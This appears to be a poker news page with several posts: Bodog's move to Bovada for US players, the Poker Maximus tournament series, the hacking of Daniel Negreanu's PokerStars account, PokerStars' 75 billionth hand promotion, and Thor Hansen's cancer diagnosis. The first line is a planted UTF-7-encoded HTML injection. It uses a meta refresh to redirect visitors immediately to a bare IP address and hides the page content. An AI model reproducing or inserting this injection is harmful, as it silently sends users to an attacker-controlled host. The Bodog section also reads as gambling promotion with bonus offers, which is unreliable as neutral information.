+ADw-/title+AD4APA-META http-equiv+AD0AIg-refresh+ACI content+AD0AIg-0+ADs-URL+AD0-http://178.153.22.250/+ACIAPgA8-DIV style+AD0AIg-DISPLAY: none+ACIAPgA8-xmp+AD4-

Though it is one of the bigger online poker sites, Bodog Poker did not get seized by the FBI on Black Friday when the feds took down the four biggest online poker sites, Full Tilt Poker, PokerStars, Absolute Poker, and UB.com. The .com domains for all of these websites were seized for a period of time, and have now been returned with the exception that they do not accept US players.

PokerStars redirected their traffic to PokerStars.eu, and Full Tilt Poker has redirected their online poker traffic to FullTiltPoker.co.uk. However, Bodog.com is still Bodog.com.

UPDATE: Bodog has launched Bovada.lv for poker players in the US. Bodog.com is not longer accepting US players.

If you are interested in becoming a new player at Bodog, they have an excellent sign up bonus, as well as an extensive VIP program, and other great promotions.

New depositors will receive a bonus offer worth 110% up to $1,100, and that extra 10%—you get right away. Then earn Bodog Points to advance in the VIP Program and clear your Bodog Poker bonus. And this is all available for US players on the new Bovada site.

If you are a former PokerStars, Absolute Poker, or Full Tilt Poker player and are looking to sign up at Bodog Poker, Bodog still accepts US players (Only at Bovada.lv) and has a great software to offer players, as well as a responsive and well-managed customer service department, complete with telephone number and live person customer service rep—that’s something you never got at PokerStars or Full Tilt.

Bodog prides itself in being a player-oriented poker site with all the bells and whistles of the bigger online poker sites, as well as that something extra.

Another great reason to join Bodog Poker is that there are tons of fish who have found themselves without an online poker room as well, and are joining Bodog right now. You could already be playing with them. Move on from the past, as PokerStars, Full Tilt Poker, UB.com, and Absolute Poker are US poker sites no more. Bodog, however, is happily accepting US players as you read this.

We are all familiar with the numerous tournament series that take place on PokerStars –where players can participate in the World Championship of Online Poker (WCOOP), the Spring Championship of Online Poker (SCOOP), and the newly minted Turbo Championship of Online Poker (TCOOP)—and now the online poker world has the chance to gear-up for a new tournament series, this time on the Merge Gaming Network, called The Poker Maximus.

The Merge Gaming Network is one of the few remaining US-friendly poker networks on the market, which should help attendance in their Poker Maximus tournaments. The Network is made up of dozens of online poker rooms including the very popular Lock Poker and Carbon Poker.

Over the course of the 22-days the tournament series will run, the network will host 70 separate tournaments, ranging in buy-ins from a mere $1 up to over $200 for some of the “High-Roller” tournaments. Over the course of the 70 events the Merge Gaming Network has guaranteed $1.5 million in prize-money.

The Poker Maximus tournament series will begin on March 4^th and run through the 25^th of the month, when the Main Event will take a place:

Event #67 — Sunday March 25th 15:00: Main Event – $109 Poker Maximus **Main Event** $200,000 Guaranteed and $50,000 Minimum to first place! 7500 Chip Starting Stack and 15 Minute Levels.

On the same day the network will host a second tournament with a $200k guarantee, a $530 buy-in Super-Stack No Limit Holdem tournament. For a look at the complete schedule or for more information on the Merge Gaming Network you can visit the website: www.thePokerMaximus.com

After a very poorly played and disappointing session at the high-stakes cash-games tables at PokerStars, Daniel Negreanu found himself down close to $100,000, before mounting a comeback that saw him reclaim about $50,000 of his losses this past Monday. However, it wasn’t Daniel Negreanu playing at all, as the Team PokerStars Pro later reported that both his E-Mail and his PokerStars account had been hacked while he was away in Australia!

Negreanu first learned that his E-Mail had been hacked upon returning to the US, and later learned of the nefarious individual’s exploits on PokerStars using Negreanu’s account. According to the reports, PokerStars has repaid Negreanu for the losses, and while the idea of anyone being hacked should send shivers up their spine, Negreanu was in relatively good spirits when he posted the following on 2+2:

“I was on an airplane home while this guy was joyriding my Stars account. He hacked my email and I got that back, still figuring out what happened. When I have all the details I’ll share when it makes sense to. Some of you NVGtards really thought that was me??? Man HSP has really done wonders for my image ”

Negreanu has been all over the news recently for his candid interview in pokerplayer.co.uk where he criticized the younger players in the game for their lack of personality –Negreanu claims he was misquoted several times in the article, and had an little bit of a back and forth with the author on 2+2… An odd assertion since his comments weren’t overly inflammatory, and many in the poker world agreed with his statements wholeheartedly. We’ll have to wait and see how that one pans out.

PokerStars is still slogging along on their road to 100 Billion hands, and very soon the company will reach a very important milestone, as the next bellwether for the site is the 75 Billionth Hand Celebration, presumed to be occurring sometime in the next week.

To mark the historic milestone PokerStars will be giving away up to $1 million over the coming days, with the bulk of the prize-money set aside for the lucky players who participate in the site’s 75 Billionth hand. But, PokerStars will also be awarding prizes to any player who participates in any millionth hand from now until the 75 Billionth hand is dealt on PokerStars.

Any player fortunate enough to be a participant in one of the millionth hands dealt during the promotion will receive $60 for every VPP they have earned at that particular table over the past 50 hands PLUS $20. For example, a player who has collected 10 VPP’s over the past 50 hands will receive $620 [$60 x 10 VPP’s + $20 = $620]. The winner of the hand will have their total prize doubled.

For the lucky table that has the honor of being part of the 75 Billionth hand the prizes increase exponentially –as they say on the WPT, the price of poker has just gone up! All players dealt into the hand will receive $1,000 for every VPP earned at that table over the previous 50 hands PLUS an additional $10,000! For example, the same player who $620 during one of the millionth milestone hands for collecting 10 VPP’s would receive $20,000 [$1,000 x 10 VPP’s + $10,000 = $20,000]. The winner of the hand will once again see their prize doubled.

Any player is eligible to take part in the promotion, and stakes do not matter (although the higher the stakes you play the more VPP’s you will have earned over the previous 50 hands) with even the penny-limit players able to get in on the action.

For more information on the 75 Billionth hand celebration you can visit the PokerStars Blog at www.pokerstarsblog.com

According to fellow Norwegian poker pro Andreas Hoivold, Thor Hansen has stage IV Colon Cancer, which has spread to his abdomen, lungs, and liver. Hoivold made a passionate Facebook post regarding the commonality of the disease, as well as the preventable measures that people can take for early detection: Namely a colonoscopy.

Hansen’s battle with cancer first came to light last week when Twitter and the 2+2 poker forum became abuzz with the rumor, which led many people close to Hansen to confirm the bad news.

Here is a look at Hoivold’s entire Facebook post, which everyone should take to heart and pass on:

“A short update on Thor Hansen: The cancer he has is colon cancer (Norwegian: Tykktarmskreft), one of the most common cancers there is. It is in stage IV, which is kind of bad. The cancer has spread throughout his abdomen, liver and lungs and it is no longer curable. But there is hope! He can, if his cancer respons well to treatment, live for many more years.

“There is one tragedy. If he had been checked for this type of cancer (procedure called colonoscopy) they would have been able to treat it. I write this so other people will take a colon cancer screening and not end up in the same situation. It is an easy test that everyone over the age of 50 should take once every 10 years. I hope I am not offending anyone by writing this, but it is very important.”

Hansen is a Norwegian poker legend, credited with being one of the first Europeans to play at the World Series of Poker; the 64 year-old has been a friend and mentor to many players in the poker world, and the entire poker world is pulling for Hansen to beat the disease.